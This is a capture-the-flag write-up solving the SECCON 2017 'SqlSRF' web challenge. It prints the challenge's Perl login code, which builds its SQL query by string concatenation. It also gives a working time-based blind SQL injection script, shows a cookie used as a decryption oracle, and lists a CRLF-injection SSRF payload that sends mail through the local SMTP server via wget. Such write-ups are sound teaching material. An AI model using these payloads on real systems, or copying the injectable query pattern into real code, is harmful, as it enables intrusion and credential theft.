# SqlSRF
SqlSRF was a 400 point Web challenge in the quals of SECCON 2017. While not exceptionally hard, it required a diverse skillset and was thus quite interesting.
## Challenge description
```SqlSRF
The root reply the flag to your mail address if you send a mail that subject is "give me flag" to root.http://sqlsrf.pwn.seccon.jp/sqlsrf/ ```
## The files
Upon clicking the link provided in the description, we're presented with a list of four files: *bg-header.jpg*, *index.cgi*, *index.cgi_backup20171129*, and *menu.cgi*.
I decided to look into the backup file of *index.cgi* right away. It contains the following code:
```perl#!/usr/bin/perl
use CGI;my $q = new CGI;
use CGI::Session;my $s = CGI::Session->new(undef, $q->cookie('CGISESSID')||undef, {Directory=>'/tmp'});$s->expire('+1M'); require './.htcrypt.pl';
my $user = $q->param('user');print $q->header(-charset=>'UTF-8', -cookie=>  [    $q->cookie(-name=>'CGISESSID', -value=>$s->id),    ($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)  ]),  $q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017', -bgcolor=>'black');  $user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');
my $errmsg = '';if($q->param('login') ne '') {  use DBI;  my $dbh = DBI->connect('dbi:SQLite:dbname=./.htDB');  my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");  $errmsg = '<h2 style="color:red">Login Error!</h2>';  eval {    $sth->execute();    if(my @row = $sth->fetchrow_array) {      if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) {        $s->param('autheduser', $q->param('user'));        print "<scr"."ipt>document.location='./menu.cgi';</script>";        $errmsg = '';      }    }  };  if($@) {    $errmsg = '<h2 style="color:red">Database Error!</h2>';  }  $dbh->disconnect();}$user = $q->escapeHTML($user);
print <<"EOM";
<div style="background:#000 url(./bg-header.jpg) 50% 50% no-repeat;position:fixed;width:100%;height:300px;top:0;"></div><div style="position:relative;top:300px;color:white;text-align:center;"><h1>Login</h1><form action="?" method="post">$errmsg<table border="0" align="center" style="background:white;color:black;padding:50px;border:1px solid darkgray;"><tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr><tr><td>Password:</td><td><input type="password" name="pass" value=""></td></tr><tr><td colspan="2"><input type="checkbox" name="save" value="1">Remember Me</td></tr><tr><td colspan="2" align="right"><input type="submit" name="login" value="Login"></td></tr></table></form></div></body></html>EOM
1;```## SQL injection
Without thinking too much (and hinted by the title of the challenge), I noticed that this code was vulnerable to a Time-Based SQL injection. I also know that the DBMS used is SQLite. I wrote the following code:
```pythonimport requestsfrom time import time
url_prefix = 'http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi?login=1&user='payload_prefix = "admin' and password like '"payload_suffix = "%' and 1=randomblob(300000000)--"
chars = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_'result = ''
while True:    for char in chars:        payload = url_prefix + payload_prefix + result + char + payload_suffix        start = time()        text = requests.get(payload).text        end = time()        if end - start > 2.5:            result += char            break    print result```
I just assumed that the username would be **admin** (which it was), but the username of the user can be bruteforced in the same way by modifying `payload_prefix` a bit.
I ended up with the following results:```username = adminpassword = d2f37e101c0e76bcc90b5634a5510f64```Since the encrypted password found in the database was 32 characters long, I immediately thought that it could be **MD5**. Unfortunately, after checking several MD5 reversing websites, I was unable to find the original password.
At this point, I supposed that **admin** was not the only user in the database, and that maybe I should get access to *menu.cgi* using another user's credentials.
By modifying the previous script a bit, I managed to find the following credentials in the database:```username = user1password = b8e32e6d23001fad5585258ba815e424f86eb0f42e8d0e9688dfb1293ee5e9ec```
This encrypted password is clearly not 32 characters long, so I concluded that the `encrypt` function used in *index.cgi* was homemade. Unfortunately, I didn't manage to read the file using my SQL injection, as `readfile` was not available.
## Reversing the passwords
Since I was not able to read the file containing the definition of the `decrypt` function, I quickly realized that there should therefore be a way to call it.
By looking at the code a bit more, I realized that the following code could be exploited:
```perlmy $user = $q->param('user');print $q->header(-charset=>'UTF-8', -cookie=>  [    $q->cookie(-name=>'CGISESSID', -value=>$s->id),    ($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)  ]),  $q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017', -bgcolor=>'black');  $user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');```
By replaying a request with the `remember` cookie set and setting it to an encrypted password, it would end up displayed in the *username* field on the page, as the following code shows:
```html<tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr>```
By doing that with the encrypted admin password `d2f37e101c0e76bcc90b5634a5510f64`, I managed to obtain the plaintext password "**Yes!Kusomon!!**".
Using the credentials **admin**/**Yes!Kusomon!!** then gives us access to *menu.cgi*.
## Command injection
*menu.cgi* is a page that lets us issue two shell commands to the server: `netstat -tnl` and `wget --debug -O /dev/stdout 'http://<user_controlled_input>'`.
After a few checks, it appears that it is not possible to simply issue arbitrary commands from the interface, as no command injection seems to be possible.
## SSRF
Now, the title of the challenge did mention some kind of **S(ql)SRF**. Based on this knowledge, I ran the `netstat -tnl` command and got the following output:```Active Internet connections (only servers)Proto Recv-Q Send-Q Local Address           Foreign Address         State      tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN     tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN     tcp6       0      0 :::22                   :::*                    LISTEN     tcp6       0      0 ::1:25                  :::*                    LISTEN     ```
Hm… A service is running locally on port 25, which is common for **SMTP**. The description of the challenge **did** say that the root would reply with the flag to my mail address if I sent him a flag with the subject *give me flag*.
Coincidentally, this also reminded me of this [presentation](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf) at **BlackHat USA 2017** (*TL;DR `wget` is vulnerable to CRLF injections*).
Armed with this knowledge, it was just a matter of crafting the payload, with every special character url encoded:```127.0.0.1 %0D%0AHELO sqlsrf.pwn.seccon.jp%0D%0AMAIL FROM%3A %3CSIben%40mindyourownbusiness.com%3E%0D%0ARCPT TO%3A %3Croot%40localhost%3E%0D%0ADATA%0D%0ASubject%3A give me flag%0D%0Agive me flag%0D%0A.%0D%0AQUIT%0D%0A:25/```
A few seconds after sending this payload, I received an email with the following content:```Encrypted-FLAG: 37208e07f86ba78a7416ecd535fd874a3b98b964005a5503bcaa41a1c9b42a19```
More encryption? I immediately went back to the *Reversing the passwords* step and put this encrypted string in the cookie.
This outputs the flag: **SECCON{SSRFisMyFriend!}**